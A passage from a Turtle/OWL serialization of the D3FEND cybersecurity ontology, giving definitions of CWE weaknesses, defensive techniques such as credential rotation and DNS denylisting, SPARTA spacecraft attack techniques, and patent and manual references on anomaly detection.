    rdfs:subClassOf d3f:CWE-704 .

d3f:CWE-77 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Neutralization of Special Elements used in a Command ('Command Injection')" ;
    d3f:cwe-id "CWE-77" ;
    d3f:definition "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." ;
    d3f:synonym "Command injection" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-74 .

d3f:CWE-787 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Out-of-bounds Write" ;
    d3f:cwe-id "CWE-787" ;
    d3f:definition "The product writes data past the end, or before the beginning, of the intended buffer." ;
    d3f:synonym "Memory Corruption" ;
    d3f:weakness-of d3f:RawMemoryAccessFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:RawMemoryAccessFunction ],
        d3f:CWE-119 .

d3f:CWE-913 a owl:Class ;
    rdfs:label "Improper Control of Dynamically-Managed Code Resources" ;
    d3f:cwe-id "CWE-913" ;
    d3f:definition "The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:ConfigurationFile a owl:Class ;
    rdfs:label "Configuration File" ;
    d3f:definition "A file containing Information used to configure the parameters and initial settings for some computer programs. They are used for user applications, server processes and operating system settings." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Configuration_file> ;
    rdfs:subClassOf d3f:File ;
    skos:altLabel "Settings File" .

d3f:ContentFiltering a d3f:ContentFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Filtering" ;
    d3f:d3fend-id "D3-CF" ;
    d3f:definition "Content Filtering techniques aid in the process of analyzing an input file for malicious or erroneous content and outputing a sanitized version." ;
    d3f:enables d3f:Isolate ;
    d3f:enforces d3f:ContentPolicy ;
    d3f:filters d3f:File ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enforces ;
            owl:someValuesFrom d3f:ContentPolicy ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:File ],
        d3f:DefensiveTechnique .

d3f:CopyToken a d3f:SystemCall,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Copy Token" ;
    d3f:copies d3f:AccessToken ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:SystemCall .

d3f:Correlation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Correlation" ;
    d3f:d3fend-id "D3A-COR" ;
    d3f:definition "Correlation is the degree to which two or more quantities are linearly associated." ;
    d3f:kb-article "Wolfram MathWorld. (n.d.). Correlation. [Link](https://mathworld.wolfram.com/Correlation.html)" ;
    rdfs:subClassOf d3f:DescriptiveStatistics .

d3f:CredentialEviction a d3f:CredentialEviction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Eviction" ;
    d3f:d3fend-id "D3-CE" ;
    d3f:definition "Credential Eviction techniques disable or remove compromised credentials from a computer network." ;
    d3f:enables d3f:Evict ;
    d3f:kb-reference d3f:Reference-AccountMonitoring_ForescoutTechnologies ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Evict ],
        d3f:DefensiveTechnique .

d3f:CredentialRotation a d3f:CredentialRotation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Rotation" ;
    d3f:d3fend-id "D3-CRO" ;
    d3f:definition "Credential rotation is a security procedure in which authentication credentials, such as passwords, API keys, or certificates, are regularly changed or replaced to minimize the risk of unauthorized access." ;
    d3f:kb-article """## How it works

Credentials can be systematically changed at predetermined intervals or based on specific events.  Credentials such as user passwords may be rotated manually, but it is increasingly common to use an automated system to manage rotation of enterprise passwords, certificates and keys.

## Considerations

- Rotation of credentials must be managed carefully to avoid inadvertent service interruption
- Management servers with enterprise policies for account management provide the ability to change or reset passwords for accounts. Some organizations rotate credentials periodically to limit the risk of stolen credentials.
- When responding to an incident, severity of compromise should be considered to determine what credentials to what accounts should be regenerated
- If proactively rotating credentials periodically, several factors should be considered to determine the frequency. Also introduces some risk including promoting the creation of weak passwords and poor storage practices for employees and presents challenges in proper tracking.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-EvictionGuidanceforNetworksAffectedbytheSolarWindsandActiveDirectory/M365Compromise-CISA>,
        d3f:Reference-PasswordandKeyRotation-SSH ;
    d3f:regenerates d3f:Credential ;
    rdfs:seeAlso <https://www.ituonline.com/tech-definitions/what-is-credential-rotation/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:regenerates ;
            owl:someValuesFrom d3f:Credential ],
        d3f:CredentialHardening .

d3f:DE-0009 a owl:Class ;
    rdfs:label "Camouflage, Concealment, and Decoys (CCD) - SPARTA" ;
    d3f:attack-id "DE-0009" ;
    d3f:definition "This technique deals with the more physical aspects of CCD that may be utilized by threat actors. There are numerous ways a threat actor may utilize the physical operating environment to their advantage, including powering down and laying dormant within debris fields as well as launching EMI attacks during space-weather events." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Camouflage, Concealment, and Decoys (CCD)" .

d3f:DHCPNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DHCP Network Traffic" ;
    d3f:definition "DHCP Network Traffic is network traffic related to the DHCP protocol, used by network nodes to negotiate and configure either IPv4 or IPv6 addresses." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:DNSDenylisting a d3f:DNSDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Denylisting" ;
    d3f:blocks d3f:DNSNetworkTraffic ;
    d3f:d3fend-id "D3-DNSDL" ;
    d3f:definition "Blocking DNS Network Traffic based on criteria such as IP address, domain name, or DNS query type." ;
    d3f:kb-article """## How it works
Rules are implemented that filter DNS queries using criteria such as:
- Client subnet
- Type of network protocol used in query
- Fully qualified domain name (FQDN) of record in the query
- DNS Server IP address that received the DNS request
- Type of DNS record being queried
- Time of day the query is received
- Size of the response

For example, a DNS policy can be created for blocking DNS queries for FQDNs that have been identified as unauthorized.

## Considerations
- Implementation considerations for DNS filtering policies to avoid over-blocking or under-blocking domains.
- Continuous maintenance of unauthorized domain lists is needed to keep up to date with possible site content changes.
- File sharing or content delivery networks may require other filtering techniques that are more fine-grained (URL blocking).
- Access to malicious websites or other network resources directly by IP instead of by DNS record, or after alteration of local DNS hosts file, may not result in DNS network traffic.""" ;
    d3f:kb-reference d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries ;
    d3f:synonym "DNS Blacklisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:DNSNetworkTraffic ],
        d3f:NetworkIsolation .

d3f:DatabaseRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Record" ;
    d3f:definition "A single, implicitly structured data item in a table in a database." ;
    rdfs:seeAlso "https://dbpedia.org/page/Row_(database)" ;
    rdfs:subClassOf d3f:Record .

d3f:DecoyFile a d3f:DecoyFile,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy File" ;
    d3f:d3fend-id "D3-DF" ;
    d3f:definition "A file created for the purposes of deceiving an adversary." ;
    d3f:kb-article """## How it works
The decoy file is made available as a local or network resource. Accesses to the file may be monitored. The files may be configurations, documents, executables, or other file types.


## Considerations
Properties of the file such as cryptographic checksums, file creation date, file modified date, file size, file owner etc may be modified to improve the credibility of the file.

## Example
* A CSV file with decoy user credentials is placed on a system. The system or network is then monitored to detect any accesses to the decoy files.""" ;
    d3f:kb-reference d3f:Reference-OpenSourceIntelligenceDeceptions_IllusiveNetworksLtd,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-SupplyChainCyber-deception_Cymmetria,Inc.>,
        d3f:Reference-SystemAndAMethodForIdentifyingThePresenceOfMalwareAndRansomwareUsingMini-trapsSetAtNetworkEndpoints_FidelisCybersecuritySolutionsInc,
        d3f:Reference-SystemAndMethodsThereofForPreventingRansomwareFromEncryptingDataElementsStoredInAMemoryOfAComputer-basedSystem_PaloAltoNetworksInc ;
    d3f:spoofs d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:File ],
        d3f:DecoyObject .

d3f:EX-0014 a owl:Class ;
    rdfs:label "Spoofing - SPARTA" ;
    d3f:attack-id "EX-0014" ;
    d3f:definition "Threat actors may attempt to spoof the various sensor and controller data that is depended upon by various subsystems within the victim spacecraft. Subsystems rely on this data to perform automated tasks, process gather data, and return important information to the ground controllers. By spoofing this information, threat actors could trigger automated tasks to fire when they are not needed to, potentially causing the spacecraft to behave erratically. Further, the data could be processed erroneously, causing ground controllers to receive incorrect telemetry or scientific data, threatening the spacecraft's reliability and integrity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Spoofing" .

d3f:EXF-0002 a owl:Class ;
    rdfs:label "Side-Channel Exfiltration - SPARTA" ;
    d3f:attack-id "EXF-0002" ;
    d3f:definition "Threat actors may use a side-channel attack attempts to gather information by measuring or exploiting indirect effects of the spacecraft. Information within the spacecraft can be extracted through these side-channels in which sensor data is analyzed in non-trivial ways to recover subtle, hidden or unexpected information. A series of measurements of a side-channel constitute an identifiable signature which can then be matched against a signature database to identify target information, without having to explicitly decode the side-channel." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Side-Channel Exfiltration" .

d3f:ElectronicCombinationLock a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Electronic Combination Lock" ;
    d3f:definition "A system comprised of an automatic door closer on the door, an input device, a controlling device, and a lock, usually mechanical, which is released or activated when the correct combination is entered or correct token is presented." ;
    d3f:uses d3f:Password ;
    rdfs:isDefinedBy "NRC Regulatory Guide 5.12 Rev1" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Electronic_lock> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:Password ],
        d3f:CombinationLock,
        d3f:HardwareDevice .

d3f:FileAccessEvent a owl:Class ;
    rdfs:label "File Access Event" ;
    d3f:definition "An event where a file is accessed for operations such as reading, opening, or inspecting its contents or metadata, without necessarily modifying its state." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:FilePathOpenFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:IdentifierReputationAnalysis a d3f:IdentifierReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Identifier Reputation Analysis" ;
    d3f:d3fend-id "D3-IRA" ;
    d3f:definition "Analyzing the reputation of an identifier." ;
    d3f:kb-reference d3f:Reference-Finding_phishing_sites ;
    rdfs:subClassOf d3f:IdentifierAnalysis .

d3f:LoginSession a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Login Session" ;
    d3f:definition "In computing, a login session is the period of activity between a user logging in and logging out of a (multi-user) system. This includes local login sessions, where a user has direct physical access to a computer, as well as domain login sessions, where a user logs into a computer that is part of a network domain." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Login_session> ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/windows-logon-scenarios> ;
    rdfs:subClassOf d3f:Session ;
    skos:altLabel "Logon Session" .

d3f:MemoryAddress a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Address" ;
    d3f:addresses d3f:MemoryWord ;
    d3f:definition "In computing, a memory address is a reference to a specific memory location used at various levels by software and hardware." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Memory_address> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:MemoryWord ],
        d3f:DigitalInformation .

d3f:MessageAnalysis a d3f:MessageAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Message Analysis" ;
    d3f:d3fend-id "D3-MA" ;
    d3f:definition "Analyzing email or instant message content to detect unauthorized activity." ;
    d3f:enables d3f:Detect ;
    d3f:kb-article """## Technique Overview

Email and messaging are frequently used to deliver malicious content to targets. These enterprise capabilities are used to deliver software exploits or social engineering tricks. If the recipient of a message trusts the sender, attackers can avoid escalating suspicion.

Emails and messages are also complex data structures. They contain files and links, and complex data encodings which vary region to region. Thus the defensive techniques used to analyze emails and messages are highly varied ranging from deep content analysis and execution to social network graph-style analytics to analyze trust or risk.""" ;
    d3f:synonym "Electronic Message Analysis",
        "Email Or Messaging Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:NetworkNodeInventory a d3f:NetworkNodeInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Node Inventory" ;
    d3f:d3fend-id "D3-NNI" ;
    d3f:definition "Network node inventorying identifies and records all the network nodes (hosts, routers, switches, firewalls, etc.) in the organization's architecture." ;
    d3f:inventories d3f:NetworkNode ;
    d3f:kb-article """## How it works
Administrators collect information on network nodes in their architecture using a variety of administrative and management tools that query network devices and nodes for information.  In some cases, where such queries are not supported or provide specific information of interest, an administrator may also collect this information through network enumeration methods to include host discovery and scanning for active ports and services.

## Considerations
* Scanning and probing techniques using mapping tools can result in side effects to information technology (IT) and operational technology (OT) systems.
* An adversary conducting network enumeration may engage in activities that parallel normal network node inventorying activities, but would require escalating to admin privileges for most of the operations requiting administrative tools

## Examples
* Link-layer discovery
   * Link-layer Discovery Protocol (LLDP)
   * Cisco Discovery Protocol (CDP)
* Application-layer discovery
   * Simple Network Management Protocol (SNMP) collects MIB information
   * Web-based Enterprise Management (WBEM) collects CIM information
      * Windows Management Instrumentation (WMI)
      * Windows Management Infrastructure (MI)""" ;
    d3f:kb-reference d3f:Reference-IEEE-802_1AB-2016,
        d3f:Reference-QualysNetworkPassiveSensorGettingStartedGuide,
        d3f:Reference-RFC3411-AnArchitectureForDescribingSimpleNetworkManagementProtocolSNMPManagementFrameworks,
        d3f:Reference-Web-BasedEnterpriseManagement,
        d3f:Reference-Windows-Management-Infrastructure,
        d3f:Reference-Windows-Management-Instrumentation ;
    d3f:synonym "System Discovery",
        "System Inventorying" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:NetworkNode ],
        d3f:AssetInventory .

d3f:NetworkTrafficFiltering a d3f:NetworkTrafficFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic Filtering" ;
    d3f:d3fend-id "D3-NTF" ;
    d3f:definition "Restricting network traffic originating from any location." ;
    d3f:filters d3f:NetworkTraffic,
        d3f:OTProtocolMessage,
        d3f:RemoteCommand ;
    d3f:kb-reference d3f:Reference-ActiveFirewallSystemAndMethodology_McAfeeLLC,
        d3f:Reference-AutomaticallyGeneratingRulesForConnectionSecurity_Microsoft,
        d3f:Reference-FWTK-FirewallToolkit_,
        d3f:Reference-FirewallForInterentAccess_SecureComputingLLC,
        d3f:Reference-FirewallForProcessingAConnectionlessNetworkPacket_NationalSecurityAgency,
        d3f:Reference-FirewallForProcessingConnection-orientedAndConnectionlessDatagramsOverAConnection-orientedNetwork_NationalSecurityAgency,
        d3f:Reference-FirewallsThatFilterBasedUponProtocolCommands_IntelCorp,
        d3f:Reference-MethodForControllingComputerNetworkSecurity_CheckpointSoftwareTechnologiesLtd,
        d3f:Reference-NetworkFirewallWithProxy_SecureComputingLLC ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:RemoteCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:OTProtocolMessage ],
        d3f:NetworkIsolation .

d3f:OSAPIDeleteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Delete File" ;
    d3f:definition "An OS API function that removes a file from the file system." ;
    d3f:invokes d3f:DeleteFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:DeleteFile ],
        d3f:OSAPISystemFunction .

d3f:OSAPIReadFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Read File" ;
    d3f:definition "An OS API function that reads data from a file or input stream into memory." ;
    d3f:invokes d3f:ReadFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:ReadFile ],
        d3f:OSAPISystemFunction .

d3f:OSAPIWriteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Write File" ;
    d3f:definition "An OS API function that writes data from a buffer in memory to a file or output stream." ;
    d3f:invokes d3f:WriteFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WriteFile ],
        d3f:OSAPISystemFunction .

d3f:OTDeviceManagementMessageEvent a owl:Class ;
    rdfs:label "OT Device Management Message Event" ;
    d3f:definition "Manage devices and their configurations." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeviceManagementMessage ],
        d3f:OTEvent .

d3f:OTDiagnosticsMessage a owl:Class ;
    rdfs:label "OT Diagnostics Message" ;
    d3f:definition "Relay error, exception, alarm, or log information." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProtocolMessage .

d3f:OTEvent a owl:Class ;
    rdfs:label "OT Event" ;
    d3f:definition "A discrete occurrence within an operational technology environment that denotes a significant change in state, execution of a command, or transmission of information." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTProtocolMessage ],
        d3f:DigitalEvent .

d3f:OTModifyControlProgramCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Modify Control Program Command" ;
    d3f:definition "OT command that adds, removes, or changes, process data on a remote device." ;
    d3f:modifies d3f:OTControlProgram ;
    rdfs:comment """GE-SRTP: WRITE PROGRAM BLOCK MEMORY
GE-SRTP: CHANGE PLC CPU PRIVILEGE LEVEL
GE-SRTP: SET CONTROL ID(CPU ID)
GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
GE-SRTP: TOGGLE FORCE SYSTEM MEMORY""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyDeviceConfigurationCommand .

d3f:ObjectFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Object File" ;
    d3f:definition "An object file is a file that contains relocatable machine code." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Object_file> ;
    rdfs:subClassOf d3f:File .

d3f:OutputDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Output Device" ;
    d3f:definition "An output device is any piece of computer hardware equipment which converts information into human-readable form. It can be text, graphics, tactile, audio, and video. Some of the output devices are Visual Display Units (VDU) i.e. a Monitor, Printer, Graphic Output devices, Plotters, Speakers etc. A new type of Output device is been developed these days, known as Speech synthesizer, a mechanism attached to the computer which produces verbal output sounding almost like human speeches." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Output_device> ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:Person a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Person" ;
    d3f:definition "A person is a human being." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:name ;
            owl:someValuesFrom xsd:string ],
        d3f:Agent .

d3f:PersonalComputer a owl:Class ;
    rdfs:label "Personal Computer" ;
    d3f:definition "A personal computer (PC) is a multi-purpose computer whose size, capabilities, and price make it feasible for individual use. Personal computers are intended to be operated directly by an end user, rather than by a computer expert or technician. Unlike large, costly minicomputers and mainframes, time-sharing by many people at the same time is not used with personal computers. PCs have in practice become powerful enough that they may be shared by multiple users at any given time, though this is not common practice nor the primary purpose of a PC." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Personal_computer> ;
    rdfs:subClassOf d3f:ClientComputer .

d3f:ProximitySensorMonitoring a d3f:ProximitySensorMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Proximity Sensor Monitoring" ;
    d3f:d3fend-id "D3-PSM" ;
    d3f:definition "Monitoring events from proximity sensors that indicate a credential or tagged asset is within the sensor’s read range or a defined zone. Common enabling technologies include RFID, Bluetooth Low Energy (BLE), and Ultra-Wideband (UWB)." ;
    d3f:kb-article """## How it works

Proximity readers and sensors detect credentials or tagged assets within their read field, then report presence and, when applicable, authenticate to a controller for access decisions. Systems may use RSSI, dwell time, or time-of-flight to enforce zones and policies such as anti-passback. Secure, authenticated communication between readers and controllers helps prevent cloning and replay attacks.

## Considerations

 * Place readers and align antennas to achieve consistent read ranges; account for materials like metal and liquids that can detune signals.
* Use cryptographic credentials with mutual authentication and encrypted, supervised reader links to mitigate cloning and relay attacks.
* Protect privacy by minimizing collected data, limiting retention, and restricting access to proximity logs.
* Calibrate detection thresholds and zone boundaries; re-test after layout changes or equipment moves.
* Monitor reader and tag health, including battery status for BLE and UWB tags and supervision signals for wired and wireless devices.""" ;
    d3f:kb-reference d3f:Reference-FIPS-201-3,
        d3f:Reference-NIST-SP800-116r1,
        d3f:Reference-Wikipedia-ProximityCard,
        d3f:Reference-Wikipedia-RFID ;
    d3f:monitors d3f:ProximitySensor ;
    d3f:synonym "Proximity Reader Monitoring",
        "RFID Reader Monitoring" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:ProximitySensor ],
        d3f:PhysicalAccessMonitoring .

d3f:RDPEvent a owl:Class ;
    rdfs:label "RDP Event" ;
    d3f:definition "An event involving the Remote Desktop Protocol (RDP), a communication protocol developed by Microsoft that facilitates secure remote access to graphical interfaces on desktops or applications hosted on remote servers. RDP supports multi-channel communication for transferring input, output, and management commands." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/rdp_activity> ;
    rdfs:subClassOf [ a owl:Class ;
            owl:unionOf ( d3f:TCPEvent d3f:UDPEvent ) ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:RDPSession ],
        d3f:ApplicationLayerEvent .

d3f:RDPSession a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RDP Session" ;
    d3f:definition "A Remote Desktop Protocol (RDP) session is a session established using the RDP protocol to access Remove Desktop Services (RDS)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Remote_Desktop_Protocol>,
        <http://dbpedia.org/resource/Remote_Desktop_Services> ;
    rdfs:subClassOf d3f:RemoteSession ;
    skos:altLabel "Remote Desktop Session",
        "Terminal Services" .

d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and Apparatus for Network Fraud Detection and Remediation Through Analytics - Idaptive LLC" ;
    d3f:has-link "https://patents.google.com/patent/US20190081968A1/en"^^xsd:anyURI ;
    d3f:kb-abstract "A system and method for assessing the identity fraud risk of an entity's (a user's, computer process's, or device's) behavior within a computer network and then to take appropriate action. The system uses real-time machine learning for its assessment. It records the entity's log-in behavior (conditions at log-in) and behavior once logged in to create an entity profile that helps identify behavior patterns. The system compares new entity behavior with the entity profile to determine a risk score and a confidence level for the behavior. If the risk score and confidence level indicate a credible identity fraud risk at log-in, the system can require more factors of authentication before log-in succeeds. If the system detects risky behavior after log-in, it can take remedial action such as ending the entity's session, curtailing the entity's privileges, or notifying a human administrator." ;
    d3f:kb-author "Yanlin Wang; Weizhi Li" ;
    d3f:kb-mitre-analysis """This patent describes determining a confidence score to detect anomalies in user activity based on comparing a user's behavior profile with current user activity events.  The following types of events are used to develop a user entity profile:

* logon and logoff times and locations
* starting or ending applications
* reading or writing files
* changing an entity 's authorization
* monitoring network traffic

User events that deviate from the entity profile over a certain threshold trigger a remedial action.""" ;
    d3f:kb-organization "Idaptive LLC" ;
    d3f:kb-reference-of d3f:AuthenticationEventThresholding,
        d3f:AuthorizationEventThresholding,
        d3f:ResourceAccessPatternAnalysis,
        d3f:SessionDurationAnalysis,
        d3f:UserGeolocationLogonPatternAnalysis ;
    d3f:kb-reference-title "Method and Apparatus for Network Fraud Detection and Remediation Through Analytics" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System, method, and computer program product for detecting and assessing security risks in a network - Exabeam Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190034641A1"^^xsd:anyURI ;
    d3f:kb-abstract "The present disclosure is directed to a system, method, and computer program for detecting and assessing security risks in an enterprise's computer network. A behavior model is built for a user in the network based on the user's interactions with the network, wherein a behavior model for a user indicates client device(s), server(s), and resources used by the user. The user's behavior during a period of time is compared to the user's behavior model. A risk assessment is calculated for the period of time based at least in part on the comparison between the user's behavior and the user's behavior model, wherein any one of certain anomalies between the user's behavior and the user's behavior model increase the risk assessment." ;
    d3f:kb-author "Sylvain Gil; Domingo Mihovilovic; Nir Polak; Magnus Stensmo; Sing Yip" ;
    d3f:kb-mitre-analysis """This patent describes calculating a risk score to detect anomalies in user activity based on comparing a user's current session with a user behavior model. The user behavior model is comprised of a number of histograms including:

* client devices from which the user logs in
* servers accessed
* data accessed
* applications accessed
* session duration
* logon time of day
* logon day of week
* geo - location of logon origination

The system has an initial training period with x number of days (e. g., 90 days) in which session data is recorded in behavior models before behavior analysis begins.The histograms are then used to determine anomalies between current session activity and a user's behavior model. Values for a histogram category are along one axis and the number of times the value is received for the category is along another axis. If a data point value associated with the current user session is over an anomaly threshold, an alert is generated.""" ;
    d3f:kb-organization "Exabeam Inc" ;
    d3f:kb-reference-of d3f:AuthenticationEventThresholding,
        d3f:AuthorizationEventThresholding,
        d3f:ResourceAccessPatternAnalysis,
        d3f:SessionDurationAnalysis,
        d3f:UserGeolocationLogonPatternAnalysis ;
    d3f:kb-reference-title "System, method, and computer program product for detecting and assessing security risks in a network" .

d3f:Reference-UnifiedArchitectureFrameworkUAF a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Unified Architecture Framework (UAF)" ;
    d3f:has-link "https://www.omg.org/spec/UAF/"^^xsd:anyURI ;
    d3f:kb-abstract "UAF is an OMG standard that assists in development of architectural descriptions in commercial industry firms, federal government agencies and defense organizations. UAF has a variety of use cases from Enterprise and Mission architecting, to System of Systems (SoS) and Cyber-physical Systems engineering, as well as being an enabler for Digital Transformation efforts and for Department of Defense Architecture Framework (DoDAF) and NATO Architecture Framework (NAF) modeling. Architectural Descriptions in UAF are aligned with ISO/IEC/IEEE 42010:2011, Systems and software engineering -- Architecture description." ;
    d3f:kb-organization "OMG" ;
    d3f:kb-reference-of d3f:DataExchangeMapping,
        d3f:OperationalActivityMapping,
        d3f:OperationalDependencyMapping,
        d3f:OrganizationMapping,
        d3f:ServiceDependencyMapping,
        d3f:SystemDependencyMapping ;
    d3f:kb-reference-title "Unified Architecture Framework (UAF)" .

d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Use DNS Policy for Applying Filters on DNS Queries" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows-server/networking/dns/deploy/apply-filters-on-dns-queries"^^xsd:anyURI ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-title "Use DNS Policy for Applying Filters on DNS Queries" .

d3f:RegressionAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Regression Analysis" ;
    d3f:d3fend-id "D3A-RA" ;
